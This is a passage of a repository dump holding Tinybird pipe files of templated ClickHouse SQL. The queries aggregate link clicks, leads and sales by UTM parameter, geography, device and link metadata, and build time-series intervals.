workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\nGROUP BY\n    groupByField\n    {% if String(groupBy) == 'cities' %}, country, region\n    {% elif String(groupBy) == 'regions' %}, country\n    {% end %}\nORDER BY clicks DESC\nLIMIT 5000\n\n\n\nNODE group_by_leads\nSQL >\n\n%\nSELECT\n    multiIf(\n        {{ String(groupBy) }} = 'top_links',\n        link_id,\n        {{ String(groupBy) }} = 'top_urls',\n        url,\n        {{ String(groupBy) }} = 'top_base_urls',\n        splitByString('?', url)[1],\n        {{ String(groupBy) }} = 'referers',\n        referer,\n        {{ String(groupBy) }} = 'referer_urls',\n        splitByString('?', referer_url)[1],\n        {{ String(groupBy) }} = 'utm_sources',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_source')),\n        {{ String(groupBy) }} = 'utm_mediums',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_medium')),\n        {{ String(groupBy) }} = 'utm_campaigns',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_campaign')),\n        {{ String(groupBy) }} = 'utm_terms',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_term')),\n        {{ String(groupBy) }} = 'utm_contents',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_content')),\n        {{ String(groupBy) }} = 'ref',\n        decodeURLFormComponent(extractURLParameter(url, 'ref')),\n        {{ String(groupBy) }} = 'countries',\n        country,\n        {{ String(groupBy) }} = 'regions',\n        CONCAT(country, '-', region) as region,\n        {{ String(groupBy) }} = 'cities',\n        city,\n        {{ String(groupBy) }} = 'continents',\n        continent,\n        {{ String(groupBy) }} = 'devices',\n        device,\n        {{ String(groupBy) }} = 'browsers',\n        browser,\n        {{ String(groupBy) }} = 'os',\n        os,\n        {{ String(groupBy) }} = 'triggers',\n        trigger,\n        link_id\n    ) AS groupByField,\n    {% if String(groupBy) == 'cities' %} country, CONCAT(country, '-', region) as region,\n    {% elif String(groupBy) == 'regions' %} country,\n    {% end %}\n    COUNT(*) as leads\nFROM dub_lead_events_mv\nWHERE\n    groupByField != '' AND groupByField != 'Unknown'\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime(end) }} {% end %}\n    {% if defined(filters) %}\n        {% for item in JSON(filters, '[]') %}\n            {% if item.get('operand', '').startswith('metadata.') %}\n                {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                {% set operator = item.get('operator', 'equals') %}\n                {% set value = item.get('value', '') %}\n                {% if operator == 'equals' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                {% elif operator == 'notEquals' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                {% elif operator == 'greaterThan' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) > {{ value }}\n                {% elif operator == 'lessThan' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) < {{ value }}\n                {% elif operator == 'greaterThanOrEqual' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) >= {{ value }}\n                {% elif operator == 'lessThanOrEqual' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) <= {{ value }}\n                {% end %}\n            {% end %}\n        {% end %}\n    {% end %}\nGROUP BY\n    groupByField\n    {% if String(groupBy) == 'cities' %}, country, region\n    {% elif String(groupBy) == 'regions' %}, country\n    {% end %}\nORDER BY leads DESC\nLIMIT 5000\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n%\nSELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\nFROM dub_first_sale_mv\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\nGROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE group_by_sales\nSQL >\n\n%\nSELECT\n    multiIf(\n        {{ String(groupBy) }} = 'top_links',\n        link_id,\n        {{ String(groupBy) }} = 'top_urls',\n        url,\n        {{ String(groupBy) }} = 'top_base_urls',\n        splitByString('?', url)[1],\n        {{ String(groupBy) }} = 'referers',\n        referer,\n        {{ String(groupBy) }} = 'referer_urls',\n        splitByString('?', referer_url)[1],\n        {{ String(groupBy) }} = 'utm_sources',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_source')),\n        {{ String(groupBy) }} = 'utm_mediums',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_medium')),\n        {{ String(groupBy) }} = 'utm_campaigns',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_campaign')),\n        {{ String(groupBy) }} = 'utm_terms',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_term')),\n        {{ String(groupBy) }} = 'utm_contents',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_content')),\n        {{ String(groupBy) }} = 'ref',\n        decodeURLFormComponent(extractURLParameter(url, 'ref')),\n        {{ String(groupBy) }} = 'countries',\n        country,\n        {{ String(groupBy) }} = 'regions',\n        CONCAT(country, '-', region) as region,\n        {{ String(groupBy) }} = 'cities',\n        city,\n        {{ String(groupBy) }} = 'continents',\n        continent,\n        {{ String(groupBy) }} = 'devices',\n        device,\n        {{ String(groupBy) }} = 'browsers',\n        browser,\n        {{ String(groupBy) }} = 'os',\n        os,\n        {{ String(groupBy) }} = 'triggers',\n        trigger,\n        link_id\n    ) AS groupByField,\n    {% if String(groupBy) == 'cities' %} country, CONCAT(country, '-', region) as region,\n    {% elif String(groupBy) == 'regions' %} country,\n    {% end %}\n    COUNT(*) AS sales,\n    SUM(amount) AS saleAmount\nFROM\n(\n    SELECT\n        se.*,\n        if(\n            isNull(fs.first_sale_ts),\n            'new',\n            if(\n                toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                'new',\n                'recurring'\n            )\n        ) AS sale_type\n    FROM dub_sale_events_mv AS se\n    LEFT JOIN first_sale_by_link_customer AS fs\n        USING (workspace_id, link_id, customer_id)\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkIds) %} AND se.link_id IN {{ Array(linkIds, 'String') }}\n        {% elif defined(linkId) %} AND se.link_id = {{ linkId }}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n            tagIds\n        ) or defined(\n            root\n        ) %} AND se.link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND se.country = {{ country }} {% end %}\n        {% if defined(region) %} AND se.region = {{ region }} {% end %}\n        {% if defined(city) %} AND se.city = {{ city }} {% end %}\n        {% if defined(device) %} AND se.device = {{ device }} {% end %}\n        {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND se.os = {{ os }} {% end %}\n        {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND se.url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND se.url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND se.url\n            LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND se.url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND se.url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND se.timestamp >= {{ DateTime(start) }} {% end %}\n        {% if defined(end) %} AND se.timestamp <= {{ DateTime(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND JSONExtractString(se.metadata, {{ metadataKey }}) > {{ value }}\n                    {% elif operator == 'lessThan' %}\n                        AND JSONExtractString(se.metadata, {{ metadataKey }}) < {{ value }}\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND JSONExtractString(se.metadata, {{ metadataKey }}) >= {{ value }}\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND JSONExtractString(se.metadata, {{ metadataKey }}) <= {{ value }}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n) AS typed\nWHERE\n    groupByField != '' AND groupByField != 'Unknown'\n    {% if defined(saleType) %} AND typed.sale_type = {{ String(saleType) }} {% end %}\nGROUP BY\n    groupByField\n    {% if String(groupBy) == 'cities' %}, country, region\n    {% elif String(groupBy) == 'regions' %}, country\n    {% end %}\nORDER BY saleAmount DESC\nLIMIT 5000\n\n\n\nNODE group_by_composite\nSQL >\n\n%\nSELECT\n    dce.groupByField as groupByField,\n    clicks,\n    leads,\n    sales,\n    saleAmount\n    {% if String(groupBy) == 'cities' %}, dce.country as country, dce.region as region{% end %}\n    {% if String(groupBy) == 'regions' %}, dce.country as country{% end %}\nFROM\n    (\n        SELECT\n            dce.groupByField,\n            dce.clicks,\n            COALESCE(dle.leads, 0) AS leads,\n            COALESCE(dse.sales, 0) AS sales,\n            COALESCE(dse.saleAmount, 0) AS saleAmount\n            {% if String(groupBy) == 'cities' %}, dce.country, dce.region{% end %}\n            {% if String(groupBy) == 'regions' %}, dce.country{% end %}\n        FROM group_by_clicks dce\n        LEFT JOIN\n            group_by_leads dle ON dce.groupByField = dle.groupByField\n            {% if String(groupBy) == 'cities' %}\n                AND dce.country = dle.country AND dce.region = dle.region\n            {% end %}\n            {% if String(groupBy) == 'regions' %} AND dce.country = dle.country{% end %}\n        LEFT JOIN\n            group_by_sales dse ON dce.groupByField = dse.groupByField\n            {% if String(groupBy) == 'cities' %}\n                AND dce.country = dse.country AND dce.region = dse.region\n            {% end %}\n            {% if String(groupBy) == 'regions' %} AND dce.country = dse.country{% end %}\n    )\nORDER BY clicks DESC\n\n\n\nNODE endpoint\nSQL >\n\n%\nSELECT *\nFROM\n    {% if eventType == 'clicks' %} group_by_clicks\n    {% elif eventType == 'leads' %} group_by_leads\n    {% elif eventType == 'sales' %}group_by_sales \n    {% elif eventType == 'composite' %}group_by_composite\n    {% else %} group_by_clicks\n    {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_group_by_link_country.pipe",
    "content": "DESCRIPTION >\n\tOnly used for `/cron/aggregate-clicks` for now\n\n\nNODE endpoint\nSQL >\n\n    %\n        SELECT\n            link_id,\n            country,\n            COUNT(*) AS clicks\n        FROM\n            dub_click_events_mv\n        WHERE\n            link_id IN {{ Array(linkIds, 'String') }}\n            AND timestamp >= {{ DateTime64(start) }}\n            AND timestamp <= {{ DateTime64(end) }}\n        GROUP BY\n            link_id,\n            country\n        ORDER BY\n            link_id ASC,\n            clicks DESC\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_group_by_link_metadata.pipe",
    "content": "NODE workspace_links\nSQL >\n\n%\nSELECT\n    link_id,\n    -- here we split tag_ids out of the multiIf because arrayJoin explodes rows\n    if(\n        {{ String(groupBy) }} = 'top_link_tags',\n        arrayJoin(tag_ids),\n        multiIf(\n            {{ String(groupBy) }} = 'top_folders',\n            folder_id,\n            {{ String(groupBy) }} = 'top_domains',\n            domain,\n            {{ String(groupBy) }} = 'top_partners',\n            partner_id,\n           {{ String(groupBy) }} = 'top_groups',\n            partner_group_id,\n            partner_id\n        )\n    ) AS groupByField\nFROM dub_links_metadata_latest FINAL\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    AND deleted == 0\n    AND multiIf(\n        {{ String(groupBy) }} = 'top_folders',\n        folder_id != '',\n        {{ String(groupBy) }} = 'top_domains',\n        domain != '',\n        {{ String(groupBy) }} = 'top_link_tags',\n        length(tag_ids) > 0,\n        {{ String(groupBy) }} = 'top_partners',\n        partner_id != '',\n        {{ String(groupBy) }} = 'top_groups',\n        partner_group_id != '',\n        partner_id != ''\n    )\n    {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n    {% if defined(partnerId) %} AND partner_id = {{ partnerId }} {% end %}\n    {% if defined(groupId) %} AND partner_group_id = {{ groupId }} {% end %}\n    {% if defined(tenantId) %} AND tenant_id = {{ tenantId }} {% end %}\n    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n    {% if defined(folderIds) %} AND folder_id IN {{ Array(folderIds, 'String') }}\n    {% elif defined(folderId) %} AND folder_id = {{ folderId }}\n    {% end %}\n    {% if defined(tagIds) %}\n        AND arrayIntersect(tag_ids, {{ Array(tagIds, 'String') }}) != []\n    {% end %}\n    {% if defined(root) %}\n        {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n    {% end %}\n\n\n\nNODE group_by_link_metadata_clicks\nSQL >\n\n%\nSELECT wl.groupByField as groupByField, COUNT(*) AS clicks\nFROM dub_click_events_mv AS ce\nJOIN workspace_links AS wl ON ce.link_id = wl.link_id\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    {% if defined(linkIds) %} AND ce.link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND ce.link_id = {{ linkId }}\n    {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\nGROUP BY wl.groupByField\nORDER BY clicks DESC\nLIMIT 5000\n\n\n\nNODE group_by_link_metadata_leads\nSQL >\n\n%\nSELECT wl.groupByField as groupByField, COUNT(*) AS leads\nFROM dub_lead_events_mv AS le\nJOIN workspace_links AS wl ON le.link_id = wl.link_id\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    {% if defined(linkIds) %} AND le.link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND le.link_id = {{ linkId }}\n    {% end %}\n    {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\nGROUP BY wl.groupByField\nORDER BY leads DESC\nLIMIT 5000\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n%\nSELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\nFROM dub_first_sale_mv\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\nGROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE group_by_link_metadata_sales\nSQL >\n\n%\nSELECT\n    wl.groupByField AS groupByField,\n    COUNT(*) AS sales,\n    SUM(t.amount) AS saleAmount\nFROM\n(\n    SELECT\n        se.*,\n        if(\n            isNull(fs.first_sale_ts),\n            'new',\n            if(\n                toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                'new',\n                'recurring'\n            )\n        ) AS sale_type\n    FROM dub_sale_events_mv AS se\n    LEFT JOIN first_sale_by_link_customer AS fs\n        USING (workspace_id, link_id, customer_id)\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        {% if defined(linkIds) %} AND se.link_id IN {{ Array(linkIds, 'String') }}\n        {% elif defined(linkId) %} AND se.link_id = {{ linkId }}\n        {% end %}\n        {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND se.country = {{ country }} {% end %}\n        {% if defined(region) %} AND se.region = {{ region }} {% end %}\n        {% if defined(city) %} AND se.city = {{ city }} {% end %}\n        {% if defined(device) %} AND se.device = {{ device }} {% end %}\n        {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND se.os = {{ os }} {% end %}\n        {% if defined(trigger) %} AND se.trigger = {{ trigger }} {% end %}\n        {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND se.url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND se.url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND se.url\n            LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND se.url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND se.url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND se.timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND se.timestamp <= {{ DateTime64(end) }} {% end %}\n) AS t\nJOIN workspace_links AS wl\n    ON t.link_id = wl.link_id\nWHERE\n    true\n    {% if defined(saleType) %} AND t.sale_type = {{ String(saleType) }} {% end %}\nGROUP BY wl.groupByField\nORDER BY saleAmount DESC\nLIMIT 5000\n\n\n\nNODE group_by_link_metadata_composite\nSQL >\n\n%\n    SELECT c.groupByField as groupByField, c.clicks as clicks, l.leads as leads, s.sales as sales, s.saleAmount as saleAmount\n    FROM group_by_link_metadata_clicks AS c\n    LEFT JOIN group_by_link_metadata_leads AS l ON c.groupByField = l.groupByField\n    LEFT JOIN group_by_link_metadata_sales AS s ON c.groupByField = s.groupByField\n    ORDER BY saleAmount DESC\n\n\n\nNODE endpoint\nSQL >\n\n%\nSELECT *\nFROM\n    {% if eventType == 'clicks' %} group_by_link_metadata_clicks\n    {% elif eventType == 'leads' %} group_by_link_metadata_leads\n    {% elif eventType == 'sales' %}group_by_link_metadata_sales \n    {% elif eventType == 'composite' %}group_by_link_metadata_composite\n    {% else %} group_by_link_metadata_clicks\n    {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_timeseries.pipe",
    "content": "DESCRIPTION >\n\tTimeseries data\n\n\nTAGS \"Dub Endpoints\"\n\nNODE month_intervals\nSQL >\n\n%\n    WITH\n        toStartOfMonth(\n            toDateTime64({{ DateTime64(start, '2024-02-24 00:00:00.000') }}, 3),\n            {{ String(timezone, 'UTC') }}\n        ) AS start,\n        toStartOfMonth(\n            toDateTime64({{ DateTime64(end, '2024-05-23 00:00:00.000') }}, 3),\n            {{ String(timezone, 'UTC') }}\n        ) AS\n    end,\n    dateDiff('month', start, end) + 1 AS months_diff\n    SELECT\n        arrayJoin(\n            arrayMap(\n                x -> toDateTime64(start + toIntervalMonth(x), 3, {{ String(timezone, 'UTC') }}),\n                range(0, months_diff)\n            )\n        ) as interval\n\n\n\nNODE day_intervals\nSQL >\n\n%\nWITH\n    toStartOfDay(\n        toDateTime64({{ DateTime64(start, '2024-02-24 00:00:00.000') }}, 3),\n        {{ String(timezone, 'UTC') }}\n    ) AS start,\n    toStartOfDay(\n        toDateTime64({{ DateTime64(end, '2024-05-23 00:00:00.000') }}, 3),\n        {{ String(timezone, 'UTC') }}\n    ) AS\nend,\ndateDiff('day', start, end\n) + 1 AS days_diff\nSELECT\n    arrayJoin(\n        arrayMap(\n            x -> toDateTime64(start + toIntervalDay(x), 3, {{ String(timezone, 'UTC') }}),\n            range(0, days_diff)\n        )\n    ) as interval\n\n\n\nNODE hour_intervals\nSQL >\n\n%\n    WITH\n        toStartOfHour(\n            toDateTime64({{ DateTime64(start, '2024-05-22 00:00:00.000') }}, 3),\n            {{ String(timezone, 'UTC') }}\n        ) AS start,\n        toStartOfHour(\n            toDateTime64({{ DateTime64(end, '2024-05-23 00:00:00.000') }}, 3),\n            {{ String(timezone, 'UTC') }}\n        ) AS\n    end\n    SELECT\n        arrayJoin(\n            arrayMap(x -> toDateTime64(x, 3), range(toUInt32(start), toUInt32(end + 3600), 3600)\n        )\n    ) as interval\n\n\n\nNODE workspace_links\nSQL >\n\n%\nSELECT link_id\nFROM dub_links_metadata_latest FINAL\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    AND deleted == 0\n    {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n    {% if defined(partnerId) %} AND partner_id = {{ partnerId }} {% end %}\n    {% if defined(groupId) %} AND partner_group_id = {{ groupId }} {% end %}\n    {% if defined(tenantId) %} AND tenant_id = {{ tenantId }} {% end %}\n    {% if defined(folderIds) %} AND folder_id IN {{ Array(folderIds, 'String') }}\n    {% elif defined(folderId) %} AND folder_id = {{ folderId }}\n    {% end %}\n    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n    {% if defined(tagIds) %}\n        AND arrayIntersect(tag_ids, {{ Array(tagIds, 'String') }}) != []\n    {% end %}\n    {% if defined(root) %}\n        {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n    {% end %}\n\n\n\nNODE timeseries_clicks_data\nSQL >\n\n%\nSELECT\n    {% if granularity == \"hour\" %} toStartOfHour(timestamp, {{ String(timezone, 'UTC') }})\n    {% elif granularity == \"month\" %}\n        toDateTime64(\n            toStartOfMonth(timestamp, {{ String(timezone, 'UTC') }}),\n            3,\n            {{ String(timezone, 'UTC') }}\n        )\n    {% else %} toDateTime64(toStartOfDay(timestamp, {{ 